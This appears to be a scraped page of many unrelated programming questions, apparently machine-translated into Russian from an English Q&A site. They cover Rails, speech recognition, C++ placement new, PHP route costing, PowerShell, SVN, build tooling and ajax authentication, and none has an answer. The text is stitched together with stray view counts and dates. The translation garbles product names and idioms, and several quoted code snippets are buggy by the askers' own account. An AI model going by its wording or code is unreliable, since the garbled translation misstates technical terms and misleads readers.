Я нашел эту статью в базе знаний Майкрософт поддержки (KB), которая предоставляла некоторую помощь: как использовать версию Assembly и версию файла Assembly .
Готов ли Ruby на Rails для предприятия?
Есть ли кто-нибудь, кто использует RoR для крупномасштабных, критически важных для бизнеса корпоративных приложений?
Существуют ли другие облегченные веб-фреймворки, основанные на динамических языках, которые люди используют для этих типов приложений?
Если вы не используете эти типы фреймворков приложений, что вас останавливает? Это просто инерция, связанная с любой крупной организацией IT. Являются ли проблемы скорости и стабильности этих структур достаточной проблемой, чтобы они компенсировали улучшение времени цикла разработки?
Как начать работу с speech-to-text?
Я действительно заинтересован в алгоритмах speech-to-text, но я не уверен, с чего начать изучать их. Куча поисков вокруг привела меня к этому, но это с 1996 года, и я довольно уверен, что с тех пор произошли улучшения.
Есть ли у кого-нибудь, кто имеет опыт работы с такого рода вещами, какие-либо рекомендации по чтению / исходному коду для изучения? Или просто общие советы о том, что я должен пытаться узнать, если я хочу попасть в мир написания программ распознавания речи (иногда трудно понять, что искать, если у вас нет больших знаний о домене).
Edit: я хотел бы сделать что-то кросс-платформенное, но на данный момент я бы нацелился на linux.
Правка 2: Спасибо csmba за хорошо продуманный ответ. На данный момент меня в основном интересует возможность создавать приложения, которые позволяют автоматизировать или выполнять различные команды с помощью голоса. Таким образом, ограниченное количество узнаваемых команд может быть нанизано вместе. Примером может служить музыкальный плеер, который принимает команды типа "Play the album Hello Everything by Squarepusher", или программа запуска приложений, которая позволяет пользователю создавать голосовые ярлыки для запуска определенных приложений.
Я понимаю, что это довольно гигантская проблема, и что у меня нет даже близко того уровня знаний, который требуется прямо сейчас для реализации всего механизма распознавания, хотя методы, связанные с этим, очаровывают меня, и это то, что я хотел бы сделать сам. По всей вероятности, я, вероятно, закончу тем, что возьму книгу или две по этому вопросу и изучу / поиграю с реализациями "simple" в свободное время.
Mixed C++ / CLI TypeLoadException внутреннее ограничение: слишком много полей
Стремясь перенести некоторые новые UI в Managed/C# земли, я недавно включил поддержку Common Language Runtime Support (/clr) в большом устаревшем проекте, который использует MFC в общем DLL и опирается на около десятка других проектов в рамках нашего общего решения. Этот проект является ядром нашего приложения и будет управлять любым управляемым кодом UI, который создается (следовательно, необходимо включить поддержку clr для interop).
После исправления тонны мелких мелких ошибок и предупреждений мне наконец удалось заставить приложение компилироваться.. Однако запуск приложения вызывает EETypeLoadException и оставляет меня неспособным выполнить отладку...
Немного покопавшись, я обнаружил, что причина была "System.TypeLoadException: внутреннее ограничение: слишком много полей.- что происходит прямо в конце компиляции. Затем я нашел эту ссылку , которая предлагает разбить assembly на две или более библиотек DLL. Однако в моем случае это невозможно, поскольку ограничение, которое я имею, заключается в том, что унаследованный код в основном остается нетронутым.
Может ли кто-нибудь предложить другие возможные решения? Я действительно в тупике здесь.
Найдите наилучшую комбинацию из заданного множества множеств
Скажем, у вас есть груз. Он должен пройти от точки А до точки Б, от точки Б до точки C и, наконец, от точки C до точки D. вам нужно добраться туда за пять дней за наименьшую сумму денег. Есть три возможных грузоотправителя для каждой ноги, каждый со своим собственным различным временем и стоимостью для каждой ноги:
Array
(
[leg0] => Array
(
[UPS] => Array
(
[days] => 1
[cost] => 5000
)
[FedEx] => Array
(
[days] => 2
[cost] => 3000
)
[Conway] => Array
(
[days] => 5
[cost] => 1000
)
)
[leg1] => Array
(
[UPS] => Array
(
[days] => 1
[cost] => 3000
)
[FedEx] => Array
(
[days] => 2
[cost] => 3000
)
[Conway] => Array
(
[days] => 3
[cost] => 1000
)
)
[leg2] => Array
(
[UPS] => Array
(
[days] => 1
[cost] => 4000
)
[FedEx] => Array
(
[days] => 1
[cost] => 3000
)
[Conway] => Array
(
[days] => 2
[cost] => 5000
)
)
)
Как вы собираетесь найти лучшую комбинацию программно?
Моя лучшая попытка до сих пор (третий или четвертый алгоритм) :
- Найдите самый длинный грузоотправитель для каждой ноги
- Устранить большинство "expensive" один
- Найти самый дешевый грузоотправитель для каждой ноги
- Рассчитайте общую стоимость & дней
- Если дни приемлемы, закончите, иначе, Гото 1
Быстро высмеивается в PHP (обратите внимание, что тестовый массив ниже работает плавно, но если вы попробуете его с тестовым массивом сверху, он не найдет правильную комбинацию):
$shippers["leg1"] = array(
"UPS" => array("days" => 1, "cost" => 4000),
"Conway" => array("days" => 3, "cost" => 3200),
"FedEx" => array("days" => 8, "cost" => 1000)
);
$shippers["leg2"] = array(
"UPS" => array("days" => 1, "cost" => 3500),
"Conway" => array("days" => 2, "cost" => 2800),
"FedEx" => array("days" => 4, "cost" => 900)
);
$shippers["leg3"] = array(
"UPS" => array("days" => 1, "cost" => 3500),
"Conway" => array("days" => 2, "cost" => 2800),
"FedEx" => array("days" => 4, "cost" => 900)
);
$times = 0;
$totalDays = 9999999;
print "<h1>Shippers to Choose From:</h1><pre>";
print_r($shippers);
print "</pre><br />";
while($totalDays > $maxDays && $times < 500){
$totalDays = 0;
$times++;
$worstShipper = null;
$longestShippers = null;
$cheapestShippers = null;
foreach($shippers as $legName => $leg){
//find longest shipment for each leg (in terms of days)
unset($longestShippers[$legName]);
$longestDays = null;
if(count($leg) > 1){
foreach($leg as $shipperName => $shipper){
if(empty($longestDays) || $shipper["days"] > $longestDays){
$longestShippers[$legName]["days"] = $shipper["days"];
$longestShippers[$legName]["cost"] = $shipper["cost"];
$longestShippers[$legName]["name"] = $shipperName;
$longestDays = $shipper["days"];
}
}
}
}
foreach($longestShippers as $leg => $shipper){
$shipper["totalCost"] = $shipper["days"] * $shipper["cost"];
//print $shipper["totalCost"] . " <?> " . $worstShipper["totalCost"] . ";";
if(empty($worstShipper) || $shipper["totalCost"] > $worstShipper["totalCost"]){
$worstShipper = $shipper;
$worstShipperLeg = $leg;
}
}
//print "worst shipper is: shippers[$worstShipperLeg][{$worstShipper['name']}]" . $shippers[$worstShipperLeg][$worstShipper["name"]]["days"];
unset($shippers[$worstShipperLeg][$worstShipper["name"]]);
print "<h1>Next:</h1><pre>";
print_r($shippers);
print "</pre><br />";
foreach($shippers as $legName => $leg){
//find cheapest shipment for each leg (in terms of cost)
unset($cheapestShippers[$legName]);
$lowestCost = null;
foreach($leg as $shipperName => $shipper){
if(empty($lowestCost) || $shipper["cost"] < $lowestCost){
$cheapestShippers[$legName]["days"] = $shipper["days"];
$cheapestShippers[$legName]["cost"] = $shipper["cost"];
$cheapestShippers[$legName]["name"] = $shipperName;
$lowestCost = $shipper["cost"];
}
}
//recalculate days and see if we are under max days...
$totalDays += $cheapestShippers[$legName]['days'];
}
//print "<h2>totalDays: $totalDays</h2>";
}
print "<h1>Chosen Shippers:</h1><pre>";
print_r($cheapestShippers);
print "</pre>";
Я думаю, что мне, возможно, придется на самом деле сделать что-то вроде того, где я буквально делаю каждую комбинацию по одному (с серией петель) и складываю общее "score" каждого и нахожу лучший....
EDIT: Чтобы уточнить, это не задание "homework" (я не в школе). Это часть моего текущего проекта на работе.
Требования (как всегда) постоянно менялись. Если бы мне дали текущие ограничения в то время, когда я начал работать над этой проблемой, я бы использовал какой-то вариант алгоритма A* (или Dijkstra'S, или shortest path, или simplex, или что-то еще). Но все менялось и менялось, и это привело меня туда, где я сейчас нахожусь.
Поэтому я думаю, что это означает, что мне нужно забыть обо всем дерьме, которое я сделал до этого момента, и просто пойти с тем, что я знаю, что должен идти, что является алгоритмом поиска пути.
Улучшение Процесса Сборки
Или, на самом деле, создание процесса сборки, когда его не так много, чтобы начать с него.
В настоящее время это в значительной степени та ситуация, с которой сталкивается моя группа. Мы занимаемся главным образом разработкой веб-приложений (но в настоящее время нет разработки настольных компьютеров). Развертывание программного обеспечения уродливо и громоздко даже с нашими скромными приложениями, и у нас было слишком много проблем, возникших за два года, когда я был частью этой команды (и компании). Пришло время что-то сделать с этим, и в результате мы сможем убить двух испытательных птиц Джоэла одним камнем (ежедневные сборки и одношаговые сборки, ни одна из которых не существует в какой-либо форме).
То, что мне нужно здесь, - это общее представление о том, какие вещи мне нужно делать или думать, от людей, которые занимаются разработкой программного обеспечения дольше, чем я, а также имеют большие мозги. Я уверен, что это будет большинство людей, которые в настоящее время публикуют в бета-версии.
соответствующие инструменты: Визуальная Сборка Source Safe 6.0 (я знаю, но я ничего не могу поделать с тем, используем ли мы Source Safe в настоящее время. Возможно, это будет моя следующая битва.)
Предварительно, у меня есть визуальный проект сборки, который делает это:
- Получить исходный код и разместить в локальном каталоге, включая необходимые DLLs, необходимые для проекта.
- Получите конфигурационные файлы и переименуйте их по мере необходимости (мы храним их в специальном подкаталоге, который не является частью фактического приложения, и они называются в соответствии с использованием).
- Сборка с помощью Visual Studio
- Предварительная компиляция с помощью командной строки, копирование в то, что будет каталогом "build"
- Копировать в пункт назначения.
- Получите все необходимые дополнительные ресурсы-в основном документы, изображения и отчеты, связанные с проектом (и помещенные в каталог с шага 5). Там много всего этого, и я не хотел включать это раньше. Однако я собираюсь только скопировать измененные элементы, так что, возможно, это не имеет значения. Я не был уверен, действительно ли я хотел включить этот материал в более ранние шаги.
Мне все еще нужно добиться некоторого выхода из Visual Build для всего этого, но я еще не достиг того момента, когда мне это нужно сделать.
У кого-нибудь есть какие-нибудь советы или предложения? Я замечу, что в настоящее время мы не используем проект Deployment. Я предполагаю, что это удалит некоторые шаги, необходимые в этой сборке (например, web.config swapping).
PDF генерация из XHTML в среде LAMP
Может ли кто-нибудь порекомендовать хороший инструмент генерации PDF на стороне сервера, который будет работать в среде Linux. Я хочу легко, насколько это возможно, передать ему файл XHTML (с изображениями) и заставить его генерировать PDF из визуализированного источника.
У меня нет большого бюджета, но все, что ниже $1000, должно быть в порядке.
Эндрю
Инструменты, которые помогут маленькому магазину набрать больше баллов на "тесте Джоэла"
Вопросы #1 - #4 по тесту Джоэла , на мой взгляд, касаются всех используемых инструментов разработки и системы поддержки для разработчиков:
- Вы используете систему управления версиями?
- Можете ли вы сделать сборку в один шаг?
- Вы делаете ежедневные сборки?
- У вас есть база данных об ошибках?
Мне просто интересно, какие бесплатные / дешевые (но хорошие) инструменты существуют для небольших магазинов разработки, которые не имеют больших банковских счетов, чтобы использовать их для получения положительного ответа на эти вопросы.
Для управления версиями я знаю, что Subversion-отличное решение ,и если вы один человек, вы можете даже использовать хранилище SourceGear.
Я использую NAnt для своих более крупных проектов, но еще не настроил скрипт для сборки моих инсталляторов, а также запуска инструментов обфузирования в одном шаге. Есть еще какие-нибудь предложения?
Если вы можете ответить " да " на построение в один шаг, я думаю, что создание ежедневных сборок будет легко, но какие инструменты вы порекомендуете для автоматизации этих ежедневных сборок?
Для одной или двух человек команды уже обсуждалось на SO, что вы можете использовать FogBugz по требованию, но какие еще решения для отслеживания ошибок существуют для небольших команд?
Есть ли у вас рекомендуемые macros для Microsoft Visual Studio?
Каковы некоторые macros, которые вы нашли полезными в Visual Studio для обработки кода и автоматизации?
Как сделать замену строки в функции PowerShell?
Как преобразовать входные параметры функции в правильный тип?
Я хочу вернуть строку, которая имеет часть URL, переданную в нее, удаленную.
Это работает, но он использует жестко закодированную строку:
function CleanUrl($input)
{
$x = "http://google.com".Replace("http://", "")
return $x
}
$SiteName = CleanUrl($HostHeader)
echo $SiteName
Это не сработает:
function CleanUrl($input)
{
$x = $input.Replace("http://", "")
return $x
}
Method invocation failed because [System.Array+SZArrayEnumerator] doesn't contain a method named 'Replace'.
At M:\PowerShell\test.ps1:13 char:21
+ $x = $input.Replace( <<<< "http://", "")
Установка проекта установки Visual Studio 2005 завершается сбоем на сервере Terminal
У меня есть проект установки, созданный Visual Studio 2005, и состоит из проекта C# .NET 2.0 и проекта C++ MFC, а также времени выполнения C++. Он работает правильно при запуске из главной консоли, но при запуске через сеанс сервера Terminal на целевом объекте Windows XP установка завершается следующим образом - Когда Setup.exe вызывается, он немедленно аварийно завершает работу, прежде чем появится первый экран приветствия. При вызове через физическую консоль программа установки выполняется нормально.
Я решил, что могу вернуться к лабораторной машине для отладки, но она отлично работает на лабораторной машине через сервер Terminal.
Я вижу другие описания проблем установки в течение Terminal сеансов сервера, но я не вижу определенного решения. Обе машины имеют почти идентичную конфигурацию, за исключением того, что на той, которая терпит неудачу, также установлен узел GoToMyPC.
Кто-нибудь еще видел эти проблемы, и как я могу их устранить?
Спасибо,
Инструмент в Visual Studio 2008 для помощи в локализации
Есть ли у кого-нибудь рекомендации по инструментам, которые могут помочь с перемещением литеральных значений в файлы ресурсов для локализации?
Я использовал плагин resharper под названием RGreatX, но мне было интересно, есть ли что-нибудь еще.
Это чертовски длинный ручной процесс для перемещения строк и думаю, что должен быть лучший способ! RGreatX-это OK но может быть немного дождевик, я чувствую.
458   4   01:34, 18th August, 2020
Создание автономных приложений в JavaScript
С увеличением мощности фреймворков JavaScript, таких как YUI, JQuery и Prototype, а также инструментов отладки, таких как Firebug, создание приложения полностью на стороне браузера JavaScript выглядит как отличный способ сделать простые приложения, такие как головоломки и специализированные калькуляторы.
Есть ли у этого какой-то недостаток, кроме раскрытия вашего исходного кода? Как вы должны обращаться с хранилищем данных для такого рода программ?
Правка: да, Gears и cookies можно использовать для локального хранения, но вы не можете легко получить доступ к файлам и другим объектам, которые уже есть у пользователя. Вы также не можете сохранить данные в файл для пользователя без того, чтобы они не вызывали некоторые функции браузера, такие как печать в PDF или сохранение страницы в виде файла.
Что это лучший способ, чтобы выполнить итерации через строго типизированный общего списка?
Как лучше всего перебирать строго типизированный универсальный список в C#.NET и VB.NET?
Можно ли использовать новое размещение для массивов переносным способом?
Можно ли на самом деле использовать размещение нового в переносимом коде при использовании его для массивов?
Похоже, что указатель, который вы получаете от new[], не всегда совпадает с адресом, который вы передаете (5.3.4, Примечание 12 в стандарте, кажется, подтверждает, что это правильно), но я не вижу, как вы можете выделить буфер для массива, чтобы войти в него, если это так.
В следующем примере показана проблема. Скомпилированный с помощью Visual Studio, этот пример приводит к повреждению памяти:
#include <new>
#include <stdio.h>
class A
{
public:
A() : data(0) {}
virtual ~A() {}
int data;
};
int main()
{
const int NUMELEMENTS=20;
char *pBuffer = new char[NUMELEMENTS*sizeof(A)];
A *pA = new(pBuffer) A[NUMELEMENTS];
// With VC++, pA will be four bytes higher than pBuffer
printf("Buffer address: %x, Array address: %x\n", pBuffer, pA);
// Debug runtime will assert here due to heap corruption
delete[] pBuffer;
return 0;
}
Глядя на память, компилятор, похоже, использует первые четыре байта буфера для хранения подсчета количества элементов в нем. Это означает, что поскольку буфер имеет только sizeof(A)*NUMELEMENTS размер, последний элемент массива записывается в нераспределенную кучу.
Итак, вопрос в том, Можете ли вы узнать, сколько дополнительных накладных расходов требуется вашей реализации для безопасного использования placement new[]? В идеале мне нужна техника, переносимая между разными компиляторами. Обратите внимание, что, по крайней мере, в случае VC, накладные расходы, похоже, отличаются для разных классов. Например, если я удаляю виртуальный деструктор в Примере, то адрес, возвращаемый из new[], совпадает с адресом, который я передаю.
Только принимать определенные ajax запросы от пользователей, прошедших проверку подлинности
Как лучше всего убедиться, что определенные вызовы ajax на определенные страницы принимаются только от аутентифицированных пользователей?
Например:
Допустим, у меня есть главная страница под названием blog.php (я знаю, творчество изобилует). Предположим также, что существует страница с именем delete.php , которая ищет параметр post_id , а затем удаляет некоторую запись из базы данных.
В этом очень надуманном примере есть некоторый механизм на blog.php, который отправляет запрос через ajax к delete.php, чтобы удалить запись.
Теперь этот механизм будет доступен только аутентифицированным пользователям на blog.php. Но что мешает кому-то просто позвонить delete.php с кучей случайных чисел и удалить все на сайте?
Я сделал быстрый тест, где я установил переменную сеанса в blog.php, а затем сделал вызов ajax в delete.php, чтобы вернуться, если переменная сеанса была установлена или нет (это не было) .
Каков общепринятый способ справиться с такими вещами?
OK. Должно быть, я сошел с ума, когда впервые попробовал это сделать.
Я просто сделал еще один тест, как тот, который я описал выше, и он работал отлично.
Рекомендации по управлению и развертыванию больших приложений JavaScript
Каковы некоторые стандартные методы управления приложением среднего размера JavaScript? Меня беспокоит как скорость загрузки браузера, так и простота и ремонтопригодность разработки.
Наш код JavaScript примерно равен "namespaced" как:
var Client = {
var1: '',
var2: '',
accounts: {
/* 100's of functions and variables */
},
orders: {
/* 100's of functions and variables and subsections */
}
/* etc, etc for a couple hundred kb */
}
На данный момент у нас есть один (распакованный, нескрепленный, хорошо читаемый) файл JavaScript для обработки всей бизнес-логики в веб-приложении. Кроме того, существует jQuery и несколько jQuery расширений. Проблема, с которой мы сталкиваемся, заключается в том, что требуется вечность , чтобы найти что-либо в коде JavaScript, и браузер все еще имеет дюжину файлов для загрузки.
Часто ли у вас есть несколько файлов "source" JavaScript, которые получают "compiled" в один окончательный сжатый файл JavaScript? Есть еще какие-нибудь полезные советы или рекомендации?
Можно ли уговорить Visual Studio 2008 использовать курсив для комментариев?
Я довольно привык к моей настройке IDE в Delphi 7, где мои комментарии выделены курсивом.
Это не представляется возможным в VS2008. Есть только вариант для жирного шрифта, а не курсива.
Есть ли какой-то взлом реестра или магия шрифтов, которую я могу выполнить, чтобы заставить его работать? Шрифт, который я использую, - это Consolas, если это имеет значение.
Редактировать: это возможно. См. этот ответ для деталей.
Adam, насколько я могу судить, Вы не можете изменить название шрифта только для комментариев-только цвет и смелость. Если я ошибаюсь, пожалуйста, скажите мне!
Как изменить иконку файла .bat программно?
Я хотел бы знать, как на самом деле установить значок файла .bat на произвольный значок.
Как бы я мог сделать это программно, независимо от языка, который я использую.
Java стандарт кодирования / лучшие практики-соглашение об именовании для меток break / continue
Иногда помеченный разрыв или продолжение может сделать код намного более читаемым.
OUTERLOOP: for ( ;/*stuff*/; ) {
//...lots of code
if ( isEnough() ) break OUTERLOOP;
//...more code
}
Мне было интересно, какова общая конвенция для этикеток. Все шапки? первая шапка?
Каковы правильные трафареты для объектно-реляционного построения диаграмм в visio?
Весь мой опыт Visio связан с документацией LAN/WAN. Недавно у меня появилось желание визуализировать отношения между объектами в конфигурации Nagios , и я понял, что не знаю, как это сделать правильно, и перешел к чему-то более важному. Я читал ответы на эту тему и понял, что это то, что разработчики программного обеспечения должны делать много.
Так что это, вероятно, вопрос мягкого тона, но каков правильный метод документирования отношений объектов в Visio? Есть ли лучший шаблон для использования? Какая коллекция трафаретов является правильным трафаретом?
В моем, вероятно, наивном представлении я представляю себе объект как большую коробку с одним соединителем "reception" и содержащую несколько меньших коробок, каждая из которых представляет член объекта и имеет свой собственный соединитель. Таким образом, каждое поле элемента объекта будет подключаться к соединителю "reception" на объекте типа элемента. Сами по себе эти объекты довольно легко построить. Проблема, с которой я столкнулся, заключается в том, что соединительные линии не уважали объекты и бежали поверх них, создавая ужасный, непригодный для использования беспорядок.
Спасибо за любые указатели.
Практическое применение System.WeakReference
Я понимаю, что делает System.WeakReference , но то, что я не могу понять, - это практический пример того, для чего он может быть полезен. Сам класс мне кажется, ну, в общем, халтурой. Мне кажется, что есть и другие, лучшие способы решения проблемы, когда в примерах, которые я видел, используется WeakReference. Каков канонический пример того, где вы действительно должны использовать WeakReference? Разве мы не пытаемся уйти дальше от такого типа поведения и использования этого класса?
Использование Visual Studio для разработки для C++ для Unix
Есть ли у кого-нибудь истории сражений, которыми можно поделиться, пытаясь использовать Visual Studio для разработки приложений для Unix? И я не говорю об использовании .NET с виртуальной платформой Mono или Wine, работающей под ним.
Наша компания насчитывает около 20 разработчиков, работающих под управлением Windows XP/Vista и разрабатывающих в основном для Linux & Solaris. До недавнего времени мы все входили в основной сервер Linux и модифицировали/строили код старым добрым способом: Emacs, Vi, dtpad - выбирайте сами. Затем кто - то сказал: "Эй, мы живем в темные века, мы должны использовать IDE".
Поэтому мы попробовали некоторые из них и решили, что Visual Studio была единственной, которая отвечала бы нашим требованиям к производительности (да, я уверен, что IDE X-это очень хороший IDE, но мы выбрали VS).
Проблема в том, как настроить среду, чтобы файлы были доступны локально для VS, но также доступны для сервера сборки? Мы решили написать плагин Visual Studio-он записывает наши файлы локально и на сервер сборки всякий раз, когда мы нажимаем "Save", и у нас есть немного жирная кнопка "sync", которую мы можем нажать, когда наши файлы изменяются на стороне сервера (например, когда мы обновляем последние файлы с нашего сервера управления версиями).
Плагин также использует функцию внешней системы сборки Visual Studio, которая в конечном итоге просто ssh встраивается в сервер сборки и вызывает нашу локальную утилиту "make" (которая является Boost Build v2 - имеет большую проверку зависимостей, но очень медленно запускается в результате, т. е. 30-60 секунд, чтобы начать). Результаты передаются обратно в Visual Studio, так что разработчик может нажать на ошибку и перейти к соответствующей строке кода (довольно гладко на самом деле). Сервер сборки использует GCC и кросс-компилирует все наши сборки Solaris.
Но даже после того, как мы все это сделали, я не могу не вздыхать всякий раз, когда начинаю писать код в Visual Studio. Я щелкаю файл, начинаю печатать, и VS пыхтит, чтобы догнать меня.
Есть ли что-нибудь более раздражающее, чем необходимость останавливаться и ждать ваших инструментов? Стоят ли эти преимущества такого разочарования?
Мысли, истории, помощь?
Номер версии Subversion для нескольких проектов
При использовании Subversion (svn) для управления версиями с несколькими проектами я заметил, что число версий увеличивается во всех каталогах моих проектов. Чтобы проиллюстрировать мой макет svn (используя вымышленные имена проектов):
/NinjaProg/branches
/tags
/trunk
/StealthApp/branches
/tags
/trunk
/SnailApp/branches
/tags
/trunk
Когда я выполняю коммит к стволу программы Ninja, скажем, я получаю, что он был обновлен до версии 7. На следующий день, скажем, я внес небольшое изменение в приложение Stealth, и оно возвращается как версия 8.
Вопрос заключается в следующем: является ли общепринятой практикой при обслуживании нескольких проектов с помощью одного сервера Subversion увеличение числа ревизий несвязанных проектов во всех проектах? Или я делаю это неправильно и должен создавать отдельные репозитории для каждого проекта? Или это что-то совсем другое?
EDIT: я задержался с ответом, потому что стало ясно, что есть причины для обоих подходов, и хотя этот вопрос возник первым, я хотел бы указать на некоторые другие вопросы, которые в конечном счете задают тот же самый вопрос:
Должен ли я хранить все проекты в одном репозитории или в нескольких?
Один SVN репозиторий или много?
Как я могу преобразовать все окончания строк в CRLF, LF или CR во время операций SVN
Итак, вы все готовы сделать большой коммит SVN, и он бомбит, потому что у вас есть несогласованные окончания строк в некоторых ваших файлах. Самое интересное, что вы смотрите на 1000 сек файлов, охватывающих десятки папок разной глубины.
Что ты делаешь?
Конфигурация среды выполнения в .Net (в частности, EntLib)
Я ищу способ настроить соединение DB во время выполнения; в частности, используя корпоративную библиотеку. Я вижу, что есть *.Data.Configuration (или что-то близкое к этому ... не помню с головы) assembly но я не нахожу много на паутине. Усложняет дело тот факт, что API справка сломана на Vista.
Теперь, я нашел эту работу-вокруг:
Configuration cfg = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
ConnectionStringSettings connection = new ConnectionStringSettings();
connection.Name = "Runtime Connection";
connection.ProviderName = "System.Data.OleDb";
connection.ConnectionString = "myconstring";
cfg.ConnectionStrings.ConnectionStrings.Add(connection);
cfg.Save(ConfigurationSaveMode.Modified);
ConfigurationManager.RefreshSection("connectionStrings");
var runtimeCon = DatabaseFactory.CreateDatabase("Runtime Connection");
И хотя он дает мне то, что я хочу, он постоянно редактирует App.config. Конечно, я могу вернуться и удалить изменения, но я бы предпочел не проходить через эту проблему.
Это действительно YAML?
Поэтому для моего анализа текста в вопросе C# я был направлен на YAML. Я бьюсь об стену с этой библиотекой, которую мне рекомендовали, так что это быстро.
heading:
name: A name
taco: Yes
age: 32
heading:
name: Another name
taco: No
age: 27
И так далее. Это действительно так?
Проблемы с дизайном .Чистый Элемент Управления UserControl
Я создал UserControl, который имеет ListView в нем. ListView является общедоступным, хотя свойство. Когда я помещаю UserControl в форму и пытаюсь создать ListView , хотя свойство, ListView остается таким образом, пока я снова не скомпилирую, и он возвращается к состоянию по умолчанию.
Как я могу получить мои изменения дизайна, чтобы придерживаться для ListView ?
Как лучше всего проверить файл XML на соответствие файлу XSD?
Я создаю некоторые файлы xml, которые должны соответствовать файлу xsd, который был мне дан. Как лучше всего проверить их соответствие?
Минимизировать javascript HTTP вызовов из AjaxControlToolkit элементов управления?
Мне нравится простота, которую предоставляет инструментарий управления ASP.NET Ajax для разработчиков ASP.NET. Однако я не нашел, что это вообще масштабируемое решение. У меня есть страница с 2 полями ввода даты. Помещая в него элемент управления TextBox и CalendarExtendar для каждого поля даты, я получаю несколько (11, по сути) внешних вызовов Javascript в /ScriptResource.axd?d=xxxx
Есть ли способ контролировать это? Почему это так отстойно? Для чего нужен лучший инструментарий Ajax .NET что может обеспечить равный (или лучший) набор функций, который является более масштабируемым, прямым и полностью настраиваемым? NOT глядя, чтобы изобрести колесо здесь.
Как я могу проверить xml против файла DTD в Python
Мне нужно проверить строку XML (а не файл) против файла описания DTD.
Как это можно сделать в python году ?
Какие инструменты (бесплатные или другие) вы находите полезными для разработки и отладки C#/C++?
Вот некоторые из них, которые я использую (все они находятся в свободном доступе):
Hex Редактор: Hexplorer
Отладчик: WinDbg
Компилятор Документации: SandCastle
Автоматическая Сборка: Круиз Control.Net
Оптимизация алгоритма поиска в C
Может ли производительность этого последовательного алгоритма поиска (взято из Практика программирования) может быть улучшена с помощью любой из собственных утилит C, например, если я установил переменную i в качестве переменной регистра ?
int lookup(char *word, char*array[])
{
int i
for (i = 0; array[i] != NULL; i++)
if (strcmp(word, array[i]) == 0)
return i;
return -1;
}
CSS Выпадающем Меню - "Best"? Самый многофункциональный?
Я нахожусь в неудачном положении, когда мне приходится реализовывать выпадающее каскадное меню на сайте, который я создаю. Я ищу решение в стиле Suckerfish, которое в основном основано на CSS и работает на простом наборе вложенных ULs и LIs.
Son of Suckerfish кажется, что это путь, но мне не нравится, как он просто исчезает в ту же секунду, когда вы убираете мышь, так как пользователи с трудностями координации будут иметь кошмар навигации по сайту (или просто не беспокоить, но поскольку это корпоративный сайт, есть некоторые, кто, вероятно, придется использовать все, что я реализую).
Аккуратные функции, о которых я даже не думал, приветствуются, но два основных элемента, которые я ищу, - это:
- Многоуровневое использование вложенной структуры UL / LI
- Маленький (возможно, настраиваемый?) задержка перед исчезновением, когда меню "mouseout"-ed, даже если это предусмотрено некоторым дополнительным JavaScript.
Как заставить разработчиков использовать wiki
Я работаю над сложным приложением, где разные команды работают над своими собственными модулями со степенью перекрытия. Некоторое время назад мы создали экземпляр Mediawiki, частично по моей просьбе. У меня есть тяжелая работа, чтобы люди действительно использовали его, не говоря уже о том, чтобы внести свой вклад.
Я вижу много пользы в обмене информацией. Это может, по крайней мере, сократить время, когда мы изобретаем колесо.
wiki не очень структурирован, но я не уверен, что это проблема, пока вы можете искать то, что вам нужно.
Какие-нибудь намеки?
Полезный код, который использует reduce()?
Есть ли у кого-нибудь здесь полезный код, который использует функцию reduce() в python? Существует ли какой-либо код, отличный от обычных + и*, которые мы видим в примерах?
Обратитесь к судьбе reduce() в Python 3000 по GvR
Что IDE использовать для разработки в Ruby на Rails на Windows?
Возможный Дубликат:
Какие Ruby IDE вы предпочитаете?
Возможный Дубликат:
Какие Ruby IDE вы предпочитаете?
Я вообще-то делал вещи на Microsoft .NET после окончания колледжа почти 2 года назад. Я просто начал смотреть на Ruby на Rails. Итак, какой редактор я должен использовать? Я использую Notepad++ прямо сейчас, но могу ли я получить отладку и т. д. каким-то образом?
Прототипирование с помощью кода Python перед компиляцией
Я уже некоторое время обдумываю написание библиотеки peak fitting. Я знаю Python довольно хорошо и планирую реализовать все в Python для начала, но предполагаю, что мне, возможно, придется повторно реализовать некоторые основные подпрограммы на скомпилированном языке в конечном итоге.
IIRC, один из первоначальных ремитов Python был как язык прототипирования, однако Python довольно либеральен в разрешении функций, функторов, объектов для передачи в функции и методы, тогда как я подозреваю, что то же самое не верно для say C или Fortran.
Что я должен знать о проектировании функций / классов, которые я предполагаю, должны будут взаимодействовать с компилируемым языком? И сколько из этих потенциальных проблем решается такими библиотеками, как cTypes, bgen , SWIG , Boost.Python, Cython или Python SIP ?
Для этого конкретного случая использования (подходящая библиотека) я предполагаю, что пользователи могут определять математические функции (Guassian, Lorentzian и т. д.) как функции Python, которые затем могут быть переданы интерпретируемой библиотекой скомпилированного кода. Передача и возврат массивов также имеет важное значение.
Альтернативы Visual Sourcesafe, интегрирующиеся с Visual Studio
Я заинтересован в том, чтобы отказаться от Visual Sourcesafe в пользу приложения управления версиями, которое предлагает ветвление. Интеграция Sourcesafe в Visual Studio делает проверки / выходы легким делом. Может ли кто-нибудь предложить другие программы, которые предлагают такую же функциональность? Я бы предпочел открытый исходный код, но это не является обязательным требованием.
Вопрос об открытии файлов Visual Studio
Можно ли открыть проект в Visual Studio 2008, не открывая все файлы, которые были ранее открыты в прошлый раз, когда у меня был открыт проект? У меня есть привычка держать много файлов открытыми, когда я работаю над ними, поэтому в следующий раз, когда я открываю проект, он (очень медленно) загружает в Редактор кучу файлов, которые мне даже не нужно открывать. Я просмотрел настройки и не могу найти ничего, чтобы остановить это поведение.
429   9   23:04, 6th August, 2020
Что является лучшим способом, чтобы реплицировать хранилище контроля версий?
Вот сценарий, который у меня есть. У меня есть репозиторий cvs в одном месте (A), и я хочу реплицировать его и синхронизировать с репозиторием в другом месте(B). Это будет однонаправленная синхронизация от A до B. каков наилучший способ сделать это? Если это действительно невозможно в CVS, то какую систему управления исходным кодом вы бы порекомендовали для этого? Спасибо
Шрифты в Интернете
Коллекция шрифтов, доступных веб-разработчику, удручающе ограничена. Я помню, что давно читал о TrueDoc, как способе доставки шрифтов вместе с веб-сайтом , но он, похоже, томился. Кто-нибудь пользовался этим или чем-то подобным? Поддерживается ли он достаточным количеством браузеров? Я упускаю хорошее решение?
Обратите внимание, что ответственный веб-разработчик не использует шрифты, доступные только на Windows (и особенно те, которые доступны только на Vista), а также не использует технологию, которая не поддерживается по крайней мере большинством браузеров.
Обновление: как уже отмечали несколько человек, нет ничего плохого в том, чтобы предоставить список резервных шрифтов для людей, у которых нет конкретного шрифта, который вы используете. Я действительно всегда так делаю, и не хотел сказать, что это неправильно.
